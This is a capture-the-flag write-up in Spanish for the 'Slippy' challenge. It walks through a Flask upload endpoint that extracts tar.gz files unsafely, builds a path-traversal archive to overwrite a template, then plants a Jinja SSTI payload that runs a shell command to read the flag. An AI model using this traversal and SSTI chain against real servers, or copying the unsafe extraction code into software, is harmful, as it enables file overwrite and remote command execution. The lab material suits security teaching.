Slippy
2 minutos de lectura
Tenemos un simple back-end que permite subir un archivo .tar.gz. Como tenemos un archivo Dockerfile, vamos a utilizar un contenedor de Docker en local:

Análisis del código fuente
En el código fuente vemos que se trata de una aplicación sencilla en Flask (Python):
@api.route('/unslippy', methods=['POST'])
def cache():
if 'file' not in request.files:
return abort(400)
extraction = extract_from_archive(request.files['file'])
if extraction:
return {'list': extraction}, 200
return '', 204
El archivo se descomprime y se escribe el /tmp:
import tarfile, tempfile, os
from application import main
generate = lambda x: os.urandom(x).hex()
def extract_from_archive(file):
tmp = tempfile.gettempdir()
path = os.path.join(tmp, file.filename)
file.save(path)
if tarfile.is_tarfile(path):
tar = tarfile.open(path, 'r:gz')
tar.extractall(tmp)
extractdir = f'{main.app.config["UPLOAD_FOLDER"]}/{generate(15)}'
os.makedirs(extractdir, exist_ok=True)
extracted_filenames = []
for tarinfo in tar:
name = tarinfo.name
if tarinfo.isreg():
filename = f'{extractdir}/{name}'
os.rename(os.path.join(tmp, name), filename)
extracted_filenames.append(filename)
continue
os.makedirs(f'{extractdir}/{name}', exist_ok=True)
tar.close()
return extracted_filenames
return False
Zip Slip
Como el reto se llama Slippy, uno puede pensar en Zip Slip, pero en archivos .tar.gz. Esto consiste en comprimir un archivo que contenga una navegación de directorios, de forma que al extraerlo, se realiza la navegación de directorios y el archivo se guarda en otro directorio.
Vamos a crear la siguiente estructura de directorios:
$ tree asdf
asdf
├── app
│ ├── application
│ │ └── templates
│ │ └── index.html
│ └── flag
└── asdf
└── asdf
└── asdf
└── firmware.tar.gz
6 directories, 3 files
La idea es ir a asdf/asdf/asdf/asdf y crear un archivo firmware.tar.gz que contenga ../../../app/application/templates/index.html:
$ tar -czf firmware.tar.gz ../../../app/application/templates/index.html
Esta ruta puede ser descibierta si accedemos al contenedor o si miramos el Dockerfile:
# Setup app
RUN mkdir -p /app
# Switch working environment
WORKDIR /app
# Add application
COPY challenge .
La idea es sobrescribir index.html, por lo que vamos a poner un mensaje sencillo para ver si funciona. Después comprimimos el archivo como antes. Finalmente, subimos el archivo y refrescamos la página:

SSTI
Perfecto, podemos escribir archivos. Ahora, para conseguir la flag (que está almacenada en un archivo), podemos utilizar Server-Side Template Injection (SSTI), ya que se está utilizando Flask.
Por ejemplo, podemos poner este payload en index.html:
{{ cycler.__init__.__globals__.os.popen('cat /app/flag').read() }}
Después de comprimir el archivo, subirlo y refrescar la página vemos:

Flag
Perfecto. Ahora vamos a subir el archivo firmware.tar.gz a la instancia en línea:
